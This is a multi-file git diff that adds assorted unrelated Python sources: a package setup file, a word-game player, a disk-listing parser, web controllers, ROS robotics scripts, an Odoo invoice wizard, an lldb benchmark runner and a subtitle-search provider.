"Programming Language :: Python", + "Programming Language :: Python :: 2", + "Programming Language :: Python :: 2.7", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.3", + "Programming Language :: Python :: 3.4", + "Programming Language :: Python :: Implementation :: CPython", + "Programming Language :: Python :: Implementation :: PyPy", + "Topic :: Software Development :: Libraries :: Python Modules", + ], + + packages = find_packages(exclude=['documentation', 'example', 'test']), + include_package_data = True, + namespace_packages = [ + 'web', # primary namespace + 'web.command', # extensible command-line interface and scripts + ], + + entry_points = { + # Python Standard + 'console_scripts': ['web = web.__main__:main'], # extensible command line interface + 'gui_scripts': [], # for future use, i.e. "native" applications + + # Command-line scripts for administrative purposes. + 'web.command': [ + # report versions, explore plugins, and identify updates + 'versions = web.command.versions:versions', + + # scrub your project of caches + 'clean = web.command.clean:clean', + + # collect static resources for deployment + 'collect = web.command.collect:collect', + + # pre-populate your project's caches + 'compile = web.command.compile:compile', + + # serve your project on the web + 'serve = web.command.serve:serve', + + # start an interactive REPL shell + 'shell = web.command.shell:shell', + ], + + 'web.clean': [ + # compiled Python bytecode + 'python = web.command.clean:clean_python', + ], + + 'web.collect': [ + ], + + 'web.compile': [ + # Python bytecode compilation + 'python = web.command.compile:compile_python', + ], + }, + + install_requires = [ + 'marrow.package<2.0', # dynamic execution and plugin management + 'pyyaml', # rich data interchange format; used for configuration + ], + + extras_require = dict( + development = tests_require, + ), + + tests_require = tests_require, + + zip_safe = True, + cmdclass = dict( + test = PyTest, + ) +) diff --git a/pool/shard009/Python/0082173_compPlayHand.py b/pool/shard009/Python/0082173_compPlayHand.py new file mode 100644 index 0000000000000000000000000000000000000000..2d5d82baca2d29e024273b9d1d896b69d2a75589 --- /dev/null +++ b/pool/shard009/Python/0082173_compPlayHand.py @@ -0,0 +1,52 @@ +def compPlayHand(hand, wordList, n): + """ + Allows the computer to play the given hand, following the same procedure + as playHand, except instead of the user choosing a word, the computer + chooses it. + + 1) The hand is displayed. + 2) The computer chooses a word. + 3) After every valid word: the word and the score for that word is + displayed, the remaining letters in the hand are displayed, and the + computer chooses another word. + 4) The sum of the word scores is displayed when the hand finishes. + 5) The hand finishes when the computer has exhausted its possible + choices (i.e. compChooseWord returns None). + + hand: dictionary (string -> int) + wordList: list (string) + n: integer (HAND_SIZE; i.e., hand size required for additional points) + """ + # Keep track of the total score + total = 0 + + chosenWord = '' + while chosenWord != None: + try: + if any(val != 0 for val in hand.values()): + # Display the hand + print 'Current Hand: ', + for key in hand: + for i in range(hand[key]): + # print all on same line + print key, + + # print newline + print + + # choose a word + chosenWord = compChooseWord(hand, wordList, n) + + # Tell the user how many points the word earned, and the updated total score, in one line followed by a blank line + total += getWordScore(chosenWord, n) + print '"%(in)s" earned %(pts)s points. Total: %(t)s points.\n' % \ + { + "in": chosenWord, + "pts": str(getWordScore(chosenWord, n)), + "t": str(total), + } + + # Update the hand + hand = updateHand(hand, chosenWord) + except TypeError as e: + print 'Total score: %(total)s points.' % {"total": str(total)} \ No newline at end of file diff --git a/pool/shard009/Python/0082175_blk_parser.py b/pool/shard009/Python/0082175_blk_parser.py new file mode 100644 index 0000000000000000000000000000000000000000..b17b7c75808a78bedc3be69fc5b870f8a319a374 --- /dev/null +++ b/pool/shard009/Python/0082175_blk_parser.py @@ -0,0 +1,81 @@ +# -*- coding: utf-8 -*- + +import re + +SWAP_LABEL = 'cf-swap' +STORAGE_LABEL = 'cf-str' + +def parse_lsblk(lsblk_pairs_output): + """Parse 'lsblk --pairs' output into dictionary.""" + disks = [] + for line in lsblk_pairs_output: + # split on newlines after double quotes + # to avoid: splitting NAME="cf-swap (dm-1)" + pairs = re.split('\"\s+', line) + d = {} + for pair in pairs: + key_value = re.split('="', pair) + if len(key_value) != 2: + continue + key = key_value[0] + value = key_value[1] + if len(value) > 0 and value[-1] == '"': + # remove trailing quote + value = value[:-1] + d[key] = value + node_type = d['TYPE'] + node_size = d['SIZE'] + + if node_type in set(['disk', 'loop']): # or blk_list[0][0] not in set(['└', '├', '│', ' ']): + disk = {'name': d['NAME'], 'type': node_type, 'size': node_size, 'mountpoint': d['MOUNTPOINT']} + if node_type == 'disk': + disk['partitions'] = [] + disks.append(disk) + # get size info if relevant + continue + if node_type in set(['part', 'dm']): + # new partition (or whatever dm is) + node_name = d['NAME'] + partition = {'name': node_name, 'type': node_type, 'size': node_size, 'mountpoint': d['MOUNTPOINT']} + disk['partitions'].append(partition) + continue + if node_type in set(['crypt']): + node_name = d['NAME'] + node_name_parts = node_name.split(' ') + if len(node_name_parts) > 1: + # the odd case when NAME="cf-str (dm-0)" + partition['crypt'] = node_name_parts[0] + else: + # the usual case when NAME="cf-str" + partition['crypt'] = node_name + return disks + +def parse_blk_orig(blk_file): + """parse lsblk output into a dictionary""" + disks = [] + for line in blk_file: + if line.startswith('NAME'): # skip first line + continue + blk_list = re.split('\s+', line) + node_type = blk_list[5] + node_size = blk_list[3] + if node_type in set(['disk', 'loop']): # or blk_list[0][0] not in set(['└', '├', '│', ' ']): + # new disk + disk = {'name': blk_list[0], 'type': node_type, 'size': node_size} + if node_type == 'disk': + disk['partitions'] = [] + disks.append(disk) + # get size info if relevant + continue + if node_type in set(['part', 'dm']): + # new partition (or whatever dm is) + node_name = blk_list[0].split('\x80')[1] + partition = {'name': node_name, 'type': node_type, 'size': node_size} + disk['partitions'].append(partition) + continue + if len(blk_list) > 8: # if node_type == 'crypt': + # crypt belonging to a partition + node_name = blk_list[1].split('\x80')[1] + partition['crypt'] = node_name + return disks + diff --git a/pool/shard009/Python/0082179_activity.py b/pool/shard009/Python/0082179_activity.py new file mode 100644 index 0000000000000000000000000000000000000000..9739ebd74969d601297982f899d9066631060408 --- /dev/null +++ b/pool/shard009/Python/0082179_activity.py @@ -0,0 +1,114 @@ +import logging +import datetime + +from pylons import request, response, session, tmpl_context as c, url +from pylons.controllers.util import abort, redirect + +from sqlalchemy.sql.expression import desc + +from nodetraq.lib.base import BaseController, render, user_level +from nodetraq.model.meta import Session, now +from nodetraq.model.users import User +from nodetraq.model.activity import Activity, ActivityType + +log = logging.getLogger(__name__) + +class ActivityController(BaseController): + + @user_level(0) + def __before__(self): + super(self.__class__, self).__before__() + + def index(self, format='html'): + c.title = 'Nodetraq - Activity' + c.selected_page = 'activity' + c.subpage = 'index' + + if request.params.has_key('from'): + c.end_date = request.params['from'] + if c.end_date == now().date(): + c.last_page = True + else: + c.last_page = False + else: + c.last_page = True + c.end_date = now().date() + + if request.params.has_key('to'): + c.start_date = request.params['to'] + else: + c.start_date = c.end_date - datetime.timedelta(days=3) + + if not request.params.has_key('show_nodes') and \ + not request.params.has_key('show_groups') and \ + not request.params.has_key('show_inventory'): + c.filters = { + 'show_nodes': True, + 'show_groups': True, + 'show_inventory': True, + } + else: + c.filters = { + 'show_nodes': False, + 'show_groups': False, + 'show_inventory': False, + } + + for key in c.filters.keys(): + if request.params.has_key(key): + c.filters[key] = request.params[key] + + # add filters to be checked by sqlalchemy + filters = [] + for k in c.filters: + if c.filters[k]: + if k[5:] == 'groups' or k[5:] == 'nodes': + filters.append(k[5:-1]) + else: + filters.append(k[5:]) + + if filters: + activity_types = Session.query(ActivityType)\ + .filter( + ActivityType.name.in_(filters)).all() + activity_type_ids = [a_type.id for a_type in activity_types] + c.activities = Activity.get_activity_page() + ''' + c.activities = Session.query(Activity)\ + .filter( + Activity.activity_type_id.in_(activity_type_ids))\ + .order_by(desc(Activity.created_at))\ + .filter(Activity.parent == None).all() + ''' + else: + c.activities = Activity.get_activity_page() + + if format == 'html': + return render('/activity/index.mako') + elif format == 'json': + response.content_type = "application/json" + return render('/activity/index.json') + elif format == 'xml': + response.content_type = "application/xml" + return render('/activity/index.xml') + + def info(self, id): + c.title = 'Nodetraq - Activity - Info' + c.selected_page = 'activity' + c.subpage = 'info' + + c.activity = Session.query(Activity)\ + .filter(Activity.id == id).first() + c.Session = Session + return render('/activity/info.mako') + + def atom(self): + yesterday = now()- datetime.timedelta(hours=18) + c.activity = Session.query(Activity)\ + .filter(Activity.created_at < now())\ + .filter(Activity.created_at > yesterday)\ + .order_by(desc(Activity.created_at))\ + .filter(Activity.parent == None)\ + .all() + return render('/activity/atom.mako') + diff --git a/pool/shard009/Python/0082180_datesupport.py b/pool/shard009/Python/0082180_datesupport.py new file mode 100644 index 0000000000000000000000000000000000000000..b5daf148ccc3e7d25e5b5f9b6c7300e14d3e48cf --- /dev/null +++ b/pool/shard009/Python/0082180_datesupport.py @@ -0,0 +1,150 @@ +# -*-coding=utf -*- + +from __future__ import absolute_import + +from dateutil.relativedelta import relativedelta +from datetime import datetime, timedelta +from dateutil.tz import * + +from functools import partial + + +DATE_PARTS = ['year', 'month', 'day'] +TIME_PARTS = ['hour', 'minute', 'second', 'microsecond'] + +ALL_NONWEEK_PARTS = ['year', 'month', 'day'] + TIME_PARTS +ALL_WEEK_PARTS = ['week', 'dow_sort'] + TIME_PARTS + + +def enum(**enums): + return type('Enum', (), enums) + + +WEEK_DAY = enum( MONDAY=0, TUESDAY=1, WEDNESDAY=2, THRUSDAY=3, \ + FRIDAY=4, SATURDAY=5, SUNDAY=6) + + +WEEK_DAY_NAMES = ('Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday') + + +class MongoDateSupport(object): + def __init__(self, logger, calendar): + self.logger = logger + self.timezone = calendar.timezone_name + + # calnedar.first_weekday is guaranteed to be a number + self.start_of_week_weekday = calendar.first_weekday + + if (self.start_of_week_weekday == 0): + self.end_of_week_weekday = WEEK_DAY.SUNDAY + else: + self.end_of_week_weekday = (self.start_of_week_weekday - 1) + + self.logger.debug("DateSupport created with timezone %s and start_of_week_weekday %s and end_of_week_weekday %s", self.timezone, self.start_of_week_weekday, self.end_of_week_weekday) + + self.datepart_functions = { + 'year': lambda x:x.year, + 'month': lambda x:x.month, + 'dow': self.calc_dow, + 'dow_sort': self.calc_dow_sort, + 'week': self.calc_week, + 'day': lambda x:x.day, + 'hour': lambda x:x.hour, + 'minute': lambda x:x.minute, + 'second': lambda x:x.second, + 'microsecond': lambda x:x.microsecond, + } + + + self.date_norm_map = { + 'month': 1, + 'day': 1, + 'hour': 0, + 'minute': 0, + 'second': 0, + 'microsecond': 0, + } + + + # filter, given a datepart, determines a datetime object for the current data + def so_far_filter(self, initial, datepart, key=lambda x:x): + def _so_far_filter(dt, initial, datepart): + dateparts = list(ALL_WEEK_PARTS if datepart == 'week' else ALL_NONWEEK_PARTS) + + dt = key(dt) + + def _print(header): + self.logger.debug("%s %s %s %s %s", header, dp, str(dp_fn(dt)) + ':' + str(dp_fn(initial)),dt.isoformat(), initial.isoformat()) + + # for dateparts at greater granularity, if value is > than initial, discard. + for dp in dateparts[dateparts.index(datepart) + 1:]: + dp_fn = self.datepart_functions.get(dp) + if dp_fn(dt) > dp_fn(initial): + _print('DISCARDED') + return None + elif dp_fn(dt) < dp_fn(initial): + _print('KEPT') + return dt + _print('KEPT') + return dt + return partial(_so_far_filter, initial=initial, datepart=datepart) + + + def date_as_utc(self, year, tzinfo=None, **kwargs): + + tzinfo = tzinfo or self.timezone + + dateparts = {'year': year} + dateparts.update(kwargs) + + date = datetime(**dateparts) + tzinfo.localize(date) + + return date.astimezone(tzutc()) + + + def get_date_for_week(self, year, week): + if week < 1: + raise ValueError('Week must be greater than 0') + + dt = datetime(year, 1, 1) + + while dt.weekday() != self.end_of_week_weekday: + dt += timedelta(1) + + week -= 1 + dt += timedelta(7 * week) + + return dt + + def calc_week(self, dt): + return self.get_week_end_date(dt).strftime('%Y-%m-%d') + + def calc_dow(self, dt): + return WEEK_DAY_NAMES[ dt.weekday() ] + + def calc_dow_sort(self, dt): + return dt.weekday() + (7 - self.start_of_week_weekday) if dt.weekday() < self.start_of_week_weekday else dt.weekday() - self.start_of_week_weekday + + def clear(self, dt, parts=TIME_PARTS): + replace_dict = {} + + for p in parts: + replace_dict[p] = self.date_norm_map.get(p) + + return dt.replace(**replace_dict) + + + def get_week_end_date(self, dt): + dr = self.clear(dt) + while dr.weekday() != self.end_of_week_weekday: + dr += timedelta(1) + return dr + + def get_week_start_date(self, dt): + dr = self.clear(dt) + while dr.weekday() != self.start_of_week_weekday: + dr -= timedelta(1) + return dr + + diff --git a/pool/shard009/Python/0082182_watchdog.py b/pool/shard009/Python/0082182_watchdog.py new file mode 100644 index 0000000000000000000000000000000000000000..9f2b6c8345357dfbc8ac6a377abc2a8bf8bdbb49 --- /dev/null +++ b/pool/shard009/Python/0082182_watchdog.py @@ -0,0 +1,74 @@ +import yaml +from monitors import MonitorType +from actions import ActionType +from threading import Timer, Lock +import rospy + +class Watchdog(object): + yaml_keys = ['name', 'description', 'restart_timeout', 'monitors', 'actions'] + def __init__(self, config): + if not isinstance(config, dict): + raise Exception("Watchdog class must be created with dictionary " + "as parameter.") + for key in self.yaml_keys: + if key not in config: + raise Exception("YAML config error: monitor/action pair " + "missing '{}' field".format(key)) + + self._name = config['name'] + self._restart_timeout = config['restart_timeout'] + self._restart_timer = None + self._monitors = [] + self._executing = Lock() + for monitor in config['monitors']: + self._monitors.append(MonitorType.create(monitor, self.execute)) + self._actions = [] + for action in config['actions']: + self._actions.append(ActionType.create(action)) + + + def _start_monitors(self): + for monitor in self._monitors: + monitor.start() + + def _stop_monitors(self, restart_after_timeout=False): + for monitor in self._monitors: + monitor.stop() + + def _check(self): + for monitor in self._monitors: + if monitor.check(): + return True + return False + + def _execute(self): + rospy.logwarn("Executing '{}' watchdog.".format(self._name)) + self.shutdown() + for action in self._actions: + action.execute() + if self._restart_timeout > -1: + self._restart_timer = Timer(self._restart_timeout, + self.run) + self._restart_timer.start() + + def _pause(self): + self._check_timer.cancel() + + def run(self): + rospy.loginfo("Starting '{}' watchdog".format(self._name)) + self._executable = True + self._start_monitors() + + def shutdown(self): + rospy.loginfo("Stopping '{}' watchdog".format(self._name)) + self._executable = False + self._stop_monitors() + if self._restart_timer is not None: + self._restart_timer.cancel() + + def execute(self): + with self._executing: + if self._executable: + self._executable = False + self._execute() + diff --git a/pool/shard009/Python/0082183_urls.py b/pool/shard009/Python/0082183_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..7b399630767882f381e0669d7b4a4ec4d8caeb65 --- /dev/null +++ b/pool/shard009/Python/0082183_urls.py @@ -0,0 +1,19 @@ +from django.conf import settings +from django.contrib.auth.views import LogoutView +from django.urls import re_path +from .views import Login, UserCRUDL + +logout_url = getattr(settings, 'LOGOUT_REDIRECT_URL', None) + +urlpatterns = [ + re_path( + r'^login/$', Login.as_view(), dict(template_name='smartmin/users/login.html'), + name="users.user_login" + ), + re_path( + r'^logout/$', LogoutView.as_view(), dict(redirect_field_name='go', next_page=logout_url), + name="users.user_logout" + ), +] + +urlpatterns += UserCRUDL().as_urlpatterns() diff --git a/pool/shard009/Python/0082191_00_grid_create_dummy.py b/pool/shard009/Python/0082191_00_grid_create_dummy.py new file mode 100644 index 0000000000000000000000000000000000000000..01bf57c0f40ce4744443c80058ab99862450fff9 --- /dev/null +++ b/pool/shard009/Python/0082191_00_grid_create_dummy.py @@ -0,0 +1,70 @@ +#! /usr/bin/env python + +import saga_api, sys, os + +########################################## +def grid_create_dummy(fASC): + + ### load all module libraries from a directory at once: + if os.name == 'nt': # Windows + os.environ['PATH'] = os.environ['PATH'] + ';' + os.environ['SAGA_32'] + '/dll' + saga_api.SG_Get_Module_Library_Manager().Add_Directory(os.environ['SAGA_32' ] + '/modules', 0) + else: # Linux + saga_api.SG_Get_Module_Library_Manager().Add_Directory(os.environ['SAGA_MLB'], 0) + + print '__________________' + print 'number of loaded libraries: ' + str(saga_api.SG_Get_Module_Library_Manager().Get_Count()) + #print saga_api.SG_Get_Module_Library_Manager().Get_Summary(saga_api.SG_SUMMARY_FMT_FLAT_NO_INTERACTIVE).c_str() + print '__________________' + + ### create a dummy DEM: + m = saga_api.SG_Get_Module_Library_Manager().Get_Module(saga_api.CSG_String('grid_calculus'), 6) + print m.Get_Name().c_str() + + p = m.Get_Parameters() + p(saga_api.CSG_String('RADIUS' )).Set_Value( 25) + p(saga_api.CSG_String('ITERATIONS')).Set_Value(250) + + p = m.Get_Parameters(saga_api.CSG_String('TARGET')) + p(saga_api.CSG_String('USER_SIZE')).Set_Value( 10) + p(saga_api.CSG_String('USER_XMAX')).Set_Value(2000) + p(saga_api.CSG_String('USER_YMAX')).Set_Value(2000) + + if m.Execute() == 0: + print 'ERROR: executing module [' + m.Get_Name().c_str() + ']' + return 0 + + dem = p(saga_api.CSG_String('OUT_GRID')).asGrid() + + ### save dummy to esri ascii grid file: + m = saga_api.SG_Get_Module_Library_Manager().Get_Module(saga_api.CSG_String('io_grid'), 0) + print m.Get_Name().c_str() + + p = m.Get_Parameters() + p(saga_api.CSG_String('GRID')).Set_Value(dem) + p(saga_api.CSG_String('FILE')).Set_Value(saga_api.CSG_String(fASC)) + p(saga_api.CSG_String('PREC')).Set_Value(2) + + if m.Execute() == 0: + print 'ERROR: executing module [' + m.Get_Name().c_str() + ']' + return 0 + + print 'success' + return 1 + +########################################## +if __name__ == '__main__': + print 'Python - Version ' + sys.version + print saga_api.SAGA_API_Get_Version() + print + + if len(sys.argv) != 2: + print 'Usage: 00_grid_create_dummy.py ' + print '... try to save as in current working directory' + fASC = './test.asc' + else: + fASC = sys.argv[1] + if os.path.split(fASC)[0] == '': + fASC = './' + fASC + + grid_create_dummy(fASC) diff --git a/pool/shard009/Python/0082197_smach_nav.py b/pool/shard009/Python/0082197_smach_nav.py new file mode 100644 index 0000000000000000000000000000000000000000..af4d6092efaf74d1bd3912e723ac3214ba4bb4e0 --- /dev/null +++ b/pool/shard009/Python/0082197_smach_nav.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python + +import roslib; roslib.load_manifest('robbie') +import rospy +import smach +import smach_ros +import tf +from actionlib import SimpleActionClient +from move_base_msgs.msg import * +from actionlib_msgs.msg import * +from geometry_msgs.msg import * +#from robbie.msg import * +from std_msgs.msg import String +from festival.srv import * + +def get_current_robot_position(frame='/map'): + '''Returns a (x,y,yaw) tuple. Frame defaults to /map.''' + try: + trans,rot = get_transform_listener().lookupTransform(frame, '/base_link', rospy.Time(0)) + (roll,pitch,yaw) = tf.transformations.euler_from_quaternion(rot) + return trans[0], trans[1], yaw + except (tf.LookupException, tf.ConnectivityException) as e: + print e + return 0,0,0 + +def move_to(frame='/map', x=0, y=0, yaw=0): + goal = MoveBaseGoal() + goal.target_pose.header.stamp = rospy.Time.now() + goal.target_pose.header.frame_id = frame + quat = tf.transformations.quaternion_from_euler(0, 0, yaw) + goal.target_pose.pose.orientation = Quaternion(*quat) + goal.target_pose.pose.position = Point(x, y, 0) + #return goal + client = smach_ros.SimpleActionClient("move_base", MoveBaseAction) + client.send_goal(goal) + #client.wait_for_result() + + +# main +def main(): + rospy.init_node('smach_example_state_machine') + #client = SimpleActionClient("robbie_base_action", RobbieBaseAction) + #start speech service + rospy.wait_for_service('speak_text') + try: + Speak_text_service = rospy.ServiceProxy('speak_text', FestivalSpeech) + except rospy.ServiceException, e: + print "Failed to acquire Festival SpeakText service: %s"%e + + Speak_text_service(" Robbie is on line Navigation Test 2 way points") + + + # Create a SMACH state machine + sm = smach.StateMachine(['succeeded','aborted','preempted']) + + # Open the container + with sm: + + _goal = MoveBaseGoal() + _goal.target_pose.header.stamp = rospy.Time.now() + _goal.target_pose.header.frame_id = '/map' + _goal.target_pose.pose.position = Point(x=2.279, y=2.651) + quat = tf.transformations.quaternion_from_euler(0, 0, 0.33) + _goal.target_pose.pose.orientation = Quaternion(*quat) + + smach.StateMachine.add("STAGE_1", + smach_ros.SimpleActionState("move_base", + MoveBaseAction, + goal=_goal), + {'succeeded':'STAGE_2'}) + + #smach.StateMachine.add("talk1", + #Speak_text_service(" Robbie is at way point one "), + #{'succeeded':'STAGE_2'}) + + _goal = MoveBaseGoal() + _goal.target_pose.header.stamp = rospy.Time.now() + _goal.target_pose.header.frame_id = '/map' + _goal.target_pose.pose.position = Point(x=3, y=0.0) + quat = tf.transformations.quaternion_from_euler(0, 0, -1.52) + _goal.target_pose.pose.orientation = Quaternion(*quat) + + smach.StateMachine.add("STAGE_2", + smach_ros.SimpleActionState("move_base", + MoveBaseAction, + goal=_goal), + {'succeeded':'STAGE_3'}) + _goal = MoveBaseGoal() + _goal.target_pose.header.stamp = rospy.Time.now() + _goal.target_pose.header.frame_id = '/map' + _goal.target_pose.pose.position = Point(x=0.859, y=0.133) + quat = tf.transformations.quaternion_from_euler(0, 0, -0.121) + _goal.target_pose.pose.orientation = Quaternion(*quat) + #_goal.vicinity_range = 0.1 + smach.StateMachine.add("STAGE_3", + smach_ros.SimpleActionState("move_base", + MoveBaseAction, + goal=_goal)) + + + + # Execute SMACH plan + outcome = sm.execute() + + + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0082200_open_invoices.py b/pool/shard009/Python/0082200_open_invoices.py new file mode 100644 index 0000000000000000000000000000000000000000..b7845e2bf167acc9a2d6704ffbdcabdc6c6b0a59 --- /dev/null +++ b/pool/shard009/Python/0082200_open_invoices.py @@ -0,0 +1,63 @@ +# -*- coding: utf-8 -*- +############################################################################## +# +# Author: Joël Grand-Guillaume +# Copyright 2010 Camptocamp SA +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## +from openerp import models, api +from openerp.tools.safe_eval import safe_eval + + +class OpenInvoicesFromProject(models.TransientModel): + _name = 'open.invoice.from.project' + _description = 'Open Invoices' + + @api.multi + def open_invoices(self): + aa_obj = self.env['project.project'] + + active_ids = self.env.context.get('active_ids', False) +# aa_rs = self.env['account.analytic.account'] +# for project in aa_obj.browse(active_ids): +# aa_rs += project.analytic_account_id + aa_rs = aa_obj.browse(active_ids).mapped('analytic_account_id') + + # Use a SQL request because we can't do that so easily with the ORM + query = """ + SELECT inv.id from account_invoice inv + LEFT JOIN account_invoice_line l ON (inv.id=l.invoice_id) + WHERE l.account_analytic_id IN %s + """ + self.env.cr.execute(query, (tuple(aa_rs.ids),)) + + inv_ids = self.env.cr.fetchall() + line_ids = [] + for line in inv_ids: + line_ids.append(line[0]) + inv_type = self.env.context.get('inv_type', 'out_invoice') + + if 'out_invoice' in inv_type: + xml_id = 'action_invoice_tree1' + else: + xml_id = 'action_invoice_tree2' + + result = self.env.ref('account.%s' % xml_id) + result = result.read()[0] + invoice_domain = safe_eval(result.get('domain', [])) + invoice_domain.append(('id', 'in', line_ids)) + result['domain'] = invoice_domain + return result diff --git a/pool/shard009/Python/0082202_bench.py b/pool/shard009/Python/0082202_bench.py new file mode 100644 index 0000000000000000000000000000000000000000..41d44bad987ef54f73850ebb48a6e6a596117d68 --- /dev/null +++ b/pool/shard009/Python/0082202_bench.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +A simple bench runner which delegates to the ./dotest.py test driver to run the +benchmarks defined in the list named 'benches'. + +You need to hand edit 'benches' to modify/change the command lines passed to the +test driver. + +Use the following to get only the benchmark results in your terminal output: + + ./bench.py -e /Volumes/data/lldb/svn/regression/build/Debug/lldb -x '-F Driver::MainLoop()' 2>&1 | grep -P '^lldb.*benchmark:' +""" + +from __future__ import print_function +from __future__ import absolute_import + +import os +import sys +import re +from optparse import OptionParser + +# dotest.py invocation with no '-e exe-path' uses lldb as the inferior program, +# unless there is a mentioning of custom executable program. +benches = [ + # Measure startup delays creating a target, setting a breakpoint, and run + # to breakpoint stop. + './dotest.py -v +b %E %X -n -p TestStartupDelays.py', + + # Measure 'frame variable' response after stopping at a breakpoint. + './dotest.py -v +b %E %X -n -p TestFrameVariableResponse.py', + + # Measure stepping speed after stopping at a breakpoint. + './dotest.py -v +b %E %X -n -p TestSteppingSpeed.py', + + # Measure expression cmd response with a simple custom executable program. + './dotest.py +b -n -p TestExpressionCmd.py', + + # Attach to a spawned process then run disassembly benchmarks. + './dotest.py -v +b -n %E -p TestDoAttachThenDisassembly.py' +] + + +def main(): + """Read the items from 'benches' and run the command line one by one.""" + parser = OptionParser(usage="""\ +%prog [options] +Run the standard benchmarks defined in the list named 'benches'.\ +""") + parser.add_option('-e', '--executable', + type='string', action='store', + dest='exe', + help='The target program launched by lldb.') + parser.add_option('-x', '--breakpoint-spec', + type='string', action='store', + dest='break_spec', + help='The lldb breakpoint spec for the target program.') + + # Parses the options, if any. + opts, args = parser.parse_args() + + print("Starting bench runner....") + + for item in benches: + command = item.replace('%E', + '-e "%s"' % opts.exe if opts.exe else '') + command = command.replace('%X', '-x "%s"' % + opts.break_spec if opts.break_spec else '') + print("Running %s" % (command)) + os.system(command) + + print("Bench runner done.") + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0082207_podnapisi.py b/pool/shard009/Python/0082207_podnapisi.py new file mode 100644 index 0000000000000000000000000000000000000000..f618a6b8cdc374e7d8203e944472e86743715068 --- /dev/null +++ b/pool/shard009/Python/0082207_podnapisi.py @@ -0,0 +1,179 @@ +# -*- coding: utf-8 -*- +import io +import logging +import re + +from babelfish import Language, language_converters +from guessit import guessit +try: + from lxml import etree +except ImportError: + try: + import xml.etree.cElementTree as etree + except ImportError: + import xml.etree.ElementTree as etree +from requests import Session +from zipfile import ZipFile + +from . import Provider +from .. import __short_version__ +from ..exceptions import ProviderError +from ..subtitle import Subtitle, fix_line_ending, guess_matches +from ..utils import sanitize +from ..video import Episode, Movie + +logger = logging.getLogger(__name__) + + +class PodnapisiSubtitle(Subtitle): + """Podnapisi Subtitle.""" + provider_name = 'podnapisi' + + def __init__(self, language, hearing_impaired, page_link, pid, releases, title, season=None, episode=None, + year=None): + super(PodnapisiSubtitle, self).__init__(language, hearing_impaired, page_link) + self.pid = pid + self.releases = releases + self.title = title + self.season = season + self.episode = episode + self.year = year + + @property + def id(self): + return self.pid + + def get_matches(self, video): + matches = set() + + # episode + if isinstance(video, Episode): + # series + if video.series and sanitize(self.title) == sanitize(video.series): + matches.add('series') + # year + if video.original_series and self.year is None or video.year and video.year == self.year: + matches.add('year') + # season + if video.season and self.season == video.season: + matches.add('season') + # episode + if video.episode and self.episode == video.episode: + matches.add('episode') + # guess + for release in self.releases: + matches |= guess_matches(video, guessit(release, {'type': 'episode'})) + # movie + elif isinstance(video, Movie): + # title + if video.title and sanitize(self.title) == sanitize(video.title): + matches.add('title') + # year + if video.year and self.year == video.year: + matches.add('year') + # guess + for release in self.releases: + matches |= guess_matches(video, guessit(release, {'type': 'movie'})) + + return matches + + +class PodnapisiProvider(Provider): + """Podnapisi Provider.""" + languages = ({Language('por', 'BR'), Language('srp', script='Latn')} | + {Language.fromalpha2(l) for l in language_converters['alpha2'].codes}) + server_url = 'http://podnapisi.eu/subtitles/' + + def initialize(self): + self.session = Session() + self.session.headers['User-Agent'] = 'Subliminal/%s' % __short_version__ + + def terminate(self): + self.session.close() + + def query(self, language, keyword, season=None, episode=None, year=None): + # set parameters, see http://www.podnapisi.net/forum/viewtopic.php?f=62&t=26164#p212652 + params = {'sXML': 1, 'sL': str(language), 'sK': keyword} + is_episode = False + if season and episode: + is_episode = True + params['sTS'] = season + params['sTE'] = episode + if year: + params['sY'] = year + + # loop over paginated results + logger.info('Searching subtitles %r', params) + subtitles = [] + pids = set() + while True: + # query the server + xml = etree.fromstring(self.session.get(self.server_url + 'search/old', params=params, timeout=10).content) + + # exit if no results + if not int(xml.find('pagination/results').text): + logger.debug('No subtitles found') + break + + # loop over subtitles + for subtitle_xml in xml.findall('subtitle'): + # read xml elements + language = Language.fromietf(subtitle_xml.find('language').text) + hearing_impaired = 'n' in (subtitle_xml.find('flags').text or '') + page_link = subtitle_xml.find('url').text + pid = subtitle_xml.find('pid').text + releases = [] + if subtitle_xml.find('release').text: + for release in subtitle_xml.find('release').text.split(): + release = re.sub(r'\.+$', '', release) # remove trailing dots + release = ''.join(filter(lambda x: ord(x) < 128, release)) # remove non-ascii characters + releases.append(release) + title = subtitle_xml.find('title').text + season = int(subtitle_xml.find('tvSeason').text) + episode = int(subtitle_xml.find('tvEpisode').text) + year = int(subtitle_xml.find('year').text) + + if is_episode: + subtitle = PodnapisiSubtitle(language, hearing_impaired, page_link, pid, releases, title, + season=season, episode=episode, year=year) + else: + subtitle = PodnapisiSubtitle(language, hearing_impaired, page_link, pid, releases, title, + year=year) + + # ignore duplicates, see http://www.podnapisi.net/forum/viewtopic.php?f=62&t=26164&start=10#p213321 + if pid in pids: + continue + + logger.debug('Found subtitle %r', subtitle) + subtitles.append(subtitle) + pids.add(pid) + + # stop on last page + if int(xml.find('pagination/current').text) >= int(xml.find('pagination/count').text): + break + + # increment current page + params['page'] = int(xml.find('pagination/current').text) + 1 + logger.debug('Getting page %d', params['page']) + + return subtitles + + def list_subtitles(self, video, languages): + if isinstance(video, Episode): + return [s for l in languages for s in self.query(l, video.series, season=video.season, + episode=video.episode, year=video.year)] + elif isinstance(video, Movie): + return [s for l in languages for s in self.query(l, video.title, year=video.year)] + + def download_subtitle(self, subtitle): + # download as a zip + logger.info('Downloading subtitle %r', subtitle) + r = self.session.get(self.server_url + subtitle.pid + '/download', params={'container': 'zip'}, timeout=10) + r.raise_for_status() + + # open the zip + with ZipFile(io.BytesIO(r.content)) as zf: + if len(zf.namelist()) > 1: + raise ProviderError('More than one file to unzip') + + subtitle.content = fix_line_ending(zf.read(zf.namelist()[0])) diff --git a/pool/shard009/Python/0082216_util.py b/pool/shard009/Python/0082216_util.py new file mode 100644 index 